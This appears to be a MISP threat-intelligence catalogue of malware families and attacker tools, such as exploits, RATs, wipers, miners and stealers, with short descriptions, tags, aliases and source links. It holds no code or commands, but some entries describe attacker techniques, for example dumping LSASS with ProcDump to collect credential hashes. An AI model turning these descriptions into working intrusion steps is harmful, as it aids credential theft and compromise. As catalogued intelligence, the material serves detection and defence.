an exploit for IMail 7.04 to 8.05
The tag is: misp-galaxy:tool="ETCETERABLUE"
Links |
EXPIREDPAYCHECK
IIS6 exploit
The tag is: misp-galaxy:tool="EXPIREDPAYCHECK"
Links |
EAGERLEVER
NBT/SMB exploit for Windows NT4.0, 2000, XP SP1 & SP2, 2003 SP1 & Base Release
The tag is: misp-galaxy:tool="EAGERLEVER"
Links |
NAMEDPIPETOUCH
Utility to test for a predefined list of named pipes, mostly AV detection. User can add checks for custom named pipes.
The tag is: misp-galaxy:tool="NAMEDPIPETOUCH"
Links |
GhostMiner
GhostMiner is a new cryptocurrency mining malware. By the end of March 2018, a new variant of mining malware was detected targeting MSSQL, phpMyAdmin, and Oracle WebLogic servers. The sample uses Powershell to execute code with volatile resources and scans the server’s processes to detect and stop other miners that might have been running prior to execution. The fileless malware has become more popular in the last years. The malicious code runs directly in main memory without writing any file on disk, where an antivirus engine could detect it.
The tag is: misp-galaxy:tool="GhostMiner"
Links |
August
August contains stealing functionality targeting credentials and sensitive documents from the infected computer.
The tag is: misp-galaxy:tool="August"
August is also known as:
-
August Stealer
Links |
China Chopper
China Chopper is a publicly available, well-documented web shell, in widespread use since 2012.
The tag is: misp-galaxy:tool="China Chopper"
Links |
PNG Dropper
The PNG_dropper family primarily uses a modified version of the publicly available tool JPEGView.exe (version 1.0.32.1 – both x86 and x64 bit versions). Carbon Black Threat Research also observed where PNG_dropper malware was seen compiled into a modified version of the 7-Zip File Manager Utility (version 9.36.0.0 – x64 bit).
The tag is: misp-galaxy:tool="PNG Dropper"
PNG Dropper is also known as:
-
PNG_Dropper
-
PNGDropper
Links |
Rotexy
A mobile spyware that turned into a banking trojan with ransomware capabilities managed to launch over 70,000 attacks in the course of just three months.
The tag is: misp-galaxy:tool="Rotexy"
Rotexy is also known as:
-
SMSThief
Links |
KingMiner
A recently discovered cryptomining operation forces access to Windows servers to use their CPU cycles for mining Monero coins. Detected six months ago, the activity went through multiple stages of evolution. Since it was spotted in mid-June, the malware received two updates and the number of attacks keeps increasing. The researchers at CheckPoint analyzed the new threat and gave it the name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.
The tag is: misp-galaxy:tool="KingMiner"
Links |
https://www.bleepingcomputer.com/news/security/new-kingminer-threat-shows-cryptominer-evolution/ |
Taurus
Toolkit - building kit for crafting documents used to deliver attacks
The tag is: misp-galaxy:tool="Taurus"
Links |
SpicyOmelette
In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette.
The tag is: misp-galaxy:tool="SpicyOmelette"
Links |
LamePyre
When LamePyre runs on the system, users see the generic Automator icon in the menu bar, which is typical for any script of this sort. The script decodes a payload written in Python and runs it on the victim host. It then starts to take pictures and upload them to the attacker’s command and control (C2) server.
The tag is: misp-galaxy:tool="LamePyre"
LamePyre is also known as:
-
OSX.LamePyre
Links |
OSX/Shlayer
The initial Trojan horse infection (the fake Flash Player installer) component of OSX/Shlayer leverages shell scripts to download additional malware or adware onto the infected system. The primary goal of OSX/Shlayer is to download and install adware onto an infected Mac. Although "adware" may not sound like a big deal, it can be a lot more harmful than the name implies; be sure to watch our aforementioned interview with Amit Serper to learn more about one particular example of malicious Mac adware. At least one variant of the malware also appears to exhibit an interesting behavior: It checks whether one of several Mac anti-virus products is installed.
The tag is: misp-galaxy:tool="OSX/Shlayer"
Links |
https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/ |
ANEL
Backdoor
The tag is: misp-galaxy:tool="ANEL"
ANEL is also known as:
-
UPPERCUT
Links |
BabyShark
BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator.
The tag is: misp-galaxy:tool="BabyShark"
Links |
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/ |
StealthWorker
Hackers are running a new campaign which drops the StealthWorker brute-force malware on Windows and Linux machines that end up being used to brute force other computers in a series of distributed brute force attacks. As unearthed by FortiGuard Labs' Rommel Joven, the StealthWorker Golang-based brute forcer (also known as GoBrut) discovered by Malwarebytes at the end of February is actively being used to target and compromise multiple platforms. StealthWorker was previously connected to a number of compromised Magento-powered e-commerce websites on which attackers infiltrated skimmers designed to exfiltrate both payment and personal information. As later discovered, the malware is capable of exploiting a number of vulnerabilities in to infiltrate Magento, phpMyAdmin, and cPanel Content Management Systems (CMSs), as well as brute force its way in if everything else fails.
The tag is: misp-galaxy:tool="StealthWorker"
Links |
SLUB Backdoor
The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication).
The tag is: misp-galaxy:tool="SLUB Backdoor"
SLUB Backdoor has relationships with:
-
similar: misp-galaxy:backdoor="SLUB" with estimative-language:likelihood-probability="likely"
Links |
Carp Downloader
In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader.
The tag is: misp-galaxy:tool="Carp Downloader"
Links |
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/ |
EVILNUM
EVILNUM is a JavaScript-based malware family that is used in attacks against similar organizations.
The tag is: misp-galaxy:tool="EVILNUM"
EVILNUM has relationships with:
-
similar: misp-galaxy:rat="Cardinal" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Cardinal RAT" with estimative-language:likelihood-probability="likely"
Links |
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/ |
Brushaloader
Brushaloader also leverages a combination of VBScript and PowerShell to create a Remote Access Trojan (RAT) that allows persistent command execution on infected systems.
The tag is: misp-galaxy:tool="Brushaloader"
Links |
https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html |
Karkoff
In addition to increased reports of threat activity, we have also discovered new evidence that the threat actors behind the DNSpionage campaign continue to change their tactics, likely in an attempt to improve the efficacy of their operations. In February, we discovered some changes to the actors' tactics, techniques and procedures (TTPs), including the use of a new reconnaissance phase that selectively chooses which targets to infect with malware. In April 2019, we also discovered the actors using a new malware, which we are calling Karkoff.
The tag is: misp-galaxy:tool="Karkoff"
Links |
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html |
KimJongRAT
We conclude that this RAT/stealeris efficient and was also really interesting to analyse.Furthermore, the creator made effortsto look Korean, for example the author of the .pdf file is Kim Song Chol. He is the brother of Kim Jong-un, the leader of North Korea. We identified that the author of a variant of this stealer is another brother of Kim Jong-un. Maybe the author named every variant withthe name of each brother. After some searches using Google, we identified anold variant of this malware here: http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html. The code of the malware available on the blog is closeto our case but with fewer features. In 2010, the password of the Gmail account was futurekimkim. Three years ago, the author was already fixatedon the Kim family…The language of the resource stored in the .dll file is Korean (LANG_KOREAN). The owner of the gmail mailbox is laoshi135.zhangand the secret question of this account is in Korean too.We don’t know if the malware truly comesfrom Korea.However, thanks to these factors, we decided to name this sample KimJongRAT/Stealer.
The tag is: misp-galaxy:tool="KimJongRAT"
Links |
https://malware.lu/assets/files/articles/RAP003_KimJongRAT-Stealer_Analysis.1.0.pdf |
Cowboy
Based on our research, it appears the malware author calls the encoded secondary payload “Cowboy” regardless of what malware family is delivered.
The tag is: misp-galaxy:tool="Cowboy"
Links |
JasperLoader
JasperLoader employs a multi-stage infection process that features several obfuscation techniques that make analysis more difficult. It appears that this loader was designed with resiliency and flexibility in mind, as evidenced in later stages of the infection process.
The tag is: misp-galaxy:tool="JasperLoader"
Links |
https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html?m=1 |
Scranos
The malware Scranos infects with rootkit capabilities, burying deep into vulnerable Windows computers to gain persistent access — even after the computer restarts. Scranos only emerged in recent months, according to Bitdefender with new research out Tuesday, but the number of its infections has rocketed in the months since it was first identified in November.
The tag is: misp-galaxy:tool="Scranos"
Links |
Reaver
Unit 42 has discovered a new malware family we’ve named “Reaver” with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.
The tag is: misp-galaxy:tool="Reaver"
Reaver has relationships with:
-
similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"
-
similar: misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"
Links |
https://unit42.paloaltonetworks.com/unit42-new-malware-with-ties-to-sunorcal-discovered/ |
SURTR
The Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call “Surtr”.1 All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.
The tag is: misp-galaxy:tool="SURTR"
SURTR has relationships with:
-
similar: misp-galaxy:tool="Reaver" with estimative-language:likelihood-probability="roughly-even-chance"
-
similar: misp-galaxy:tool="SunOrcal" with estimative-language:likelihood-probability="roughly-even-chance"
Links |
https://citizenlab.ca/2013/08/surtr-malware-family-targeting-the-tibetan-community/ |
SunOrcal
SunOrcal is a trojan malware family whose activity dates back to at least 2013. A version discovered in November 2017 incorporates steganography techniques and can collect C2 information via GitHub, obscuring its C2 infrastructure and evading detection using the legitimate site for its first beacon. The threat actors have targeted users in the Vietnam area, spreading phishing emails containing malicious documents purportedly regarding South China Sea disputes. The new SunOrcal version has also been used with the recently discovered Reaver trojan and the original SunOrcal version. Some of the recent activity also incorporates the use of the Surtr malware.
The tag is: misp-galaxy:tool="SunOrcal"
SunOrcal has relationships with:
-
similar: misp-galaxy:tool="Reaver" with estimative-language:likelihood-probability="roughly-even-chance"
-
similar: misp-galaxy:tool="SURTR" with estimative-language:likelihood-probability="roughly-even-chance"
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/sunorcal |
Bookworm
Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand”. Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.
The tag is: misp-galaxy:tool="Bookworm"
Links |
https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/ |
Amavaldo
We named the malware family described in the rest of this blog post Amavaldo. This family is still in active development – the latest version we have observed (10.7) has a compilation timestamp of June 10th, 2019.
The tag is: misp-galaxy:tool="Amavaldo"
Links |
https://www.welivesecurity.com/2019/08/01/banking-trojans-amavaldo/ |
TVSPY
hacker going by the handle Mr. Burns. He also created something similar called RMS, which behaves very much like the TVSPY builder. “RMS/TVSPY continues to be developed, with a new version being posted by the developer/reseller on a regular basis,” Damballa researchers noted. “In fact, the legitimate RMS version developed by TektonIT and the version posted in criminal forums appear to be identical. TVSPY seems to be merely a modification of RMS to utilize TeamViewer infrastructure and a command-and-control interface manageable through the Web.
The tag is: misp-galaxy:tool="TVSPY"
TVSPY is also known as:
-
TVRAT
-
SpY-Agent
-
teamspy
Links |
https://mobile.twitter.com/SaudiDFIR/status/1177740045186457600 |
COMpfun
The COMpfun malware was initially documented by G-DATA in 2014. Although G-DATA didn’t identify which actor was using this malware, Kaspersky tentatively linked it to the Turla APT, based on the victimology. Our telemetry indicates that the current campaign using Reductor started at the end of April 2019 and remained active at the time of writing (August 2019). We identified targets in Russia and Belarus.
The tag is: misp-galaxy:tool="COMpfun"
Links |
Reductor
We called these new modules ‘Reductor’ after a .pdb path left in some samples. Besides typical RAT functions such as uploading, downloading and executing files, Reductor’s authors put a lot of effort into manipulating digital certificates and marking outbound TLS traffic with unique host-related identifiers. The Kaspersky Attribution Engine shows strong code similarities between this family and the COMPfun Trojan. Moreover, further research showed that the original COMpfun Trojan most probably is used as a downloader in one of the distribution schemes. Based on these similarities, we’re quite sure the new malware was developed by the COMPfun authors.
The tag is: misp-galaxy:tool="Reductor"
Links |
ProcDump
Legitimate tool - command-line tool used to monitor a running process and dump memory depending on customcriteria. The attackers use this tool to dump the LSASS process to gatherWINDOWScredentials hashes
The tag is: misp-galaxy:tool="ProcDump"
CertMig
Legitimate tool - command-line tool used to import and export certificates on a machine. The attackers use this toolto gather credentials used for VPN authentication to the clients’ networks
The tag is: misp-galaxy:tool="CertMig"
Netscan
Legitimate tool - tool used to scan IPv4/IPv6 networks and remotely execute PowerShell commands.
The tag is: misp-galaxy:tool="Netscan"
ShadowHammer
Malware embedded in Asus Live Update in 2018. ShadowHammer triggers its malicious behavior only if the computer it is running on has a network adapter with the MAC address whitelisted by the attacker.
The tag is: misp-galaxy:tool="ShadowHammer"
Links |
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf |
DePriMon
DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, we consider it to be a framework.
The tag is: misp-galaxy:tool="DePriMon"
Links |
https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader/ |
Private Internet Access
Private Internet Access provides state of the art, multi-layered security with advanced privacy protection using VPN tunneling.
The tag is: misp-galaxy:tool="Private Internet Access"
Private Internet Access is also known as:
-
PIA
Links |
Netcat
Reads from and writes to network connections using TCP or UDP protocols.
The tag is: misp-galaxy:tool="Netcat"
NBTScan
NBTScan is a program for scanning IP networks for NetBIOS name information (similar to what the Windows nbtstat tool provides against single hosts). It sends a NetBIOS status query to each address in a supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.
The tag is: misp-galaxy:tool="NBTScan"
Links |
ZeroCleare
ZeroCleare was used to execute a destructive attack that affected organizations in the energy and industrial sectorsin the Middle East. Based on the analysis of the malware and the attackers’ behavior, we suspect Iran-based nation state adversaries were involved to develop and deploy this new wiper.
The tag is: misp-galaxy:tool="ZeroCleare"
Links |
Dustman
At the heart of the recent Bapco attack is a new strain of malware named Dustman. According to an analysis by Saudi Arabia’s cyber-security agency, Dustman is a so-called data wiper — malware designed to delete data on infected computers, once launched into execution. Dustman represents the third different data-wiping malware linked to the Tehran regime. Iranian state-backed hackers have a long history of developing data-wiping malware.
The tag is: misp-galaxy:tool="Dustman"
Links |
https://mobile.twitter.com/IntezerLabs/status/1215252764080644098 |
Autochk Rootkit
This rootkit is a very simple. The name of the driver is “autochk.sys” - that’s why we’ll call it the autochk rootkit. The rootkit implements 2 functionalities: File Redirection and Network Connection Hiding.
The tag is: misp-galaxy:tool="Autochk Rootkit"
Links |
Lampion
New trojan called Lampion has spread using template emails from the Portuguese Government Finance & Tax during the last days of 2019.
The tag is: misp-galaxy:tool="Lampion"
Links |
LiquorBot
Bitdefender researchers tracked the development of a Mirai-inspired botnet, dubbed LiquorBot, which seems to be actively in development and has recently incorporated Monero cryptocurrency mining features.
The tag is: misp-galaxy:tool="LiquorBot"
Links |
Gelup malware tool
Written in C++ and designed to function as a downloader of other malware, Gelup stood out for its obfuscation techniques. Gelup can also bypass User Account Control (UAC) by mocking trusted directories, abusing auto-elevated executables and using the Dynamic Link Library (DLL) side-loading technique.
The tag is: misp-galaxy:tool="Gelup malware tool"
Gelup malware tool is also known as:
-
AndroMut
Links |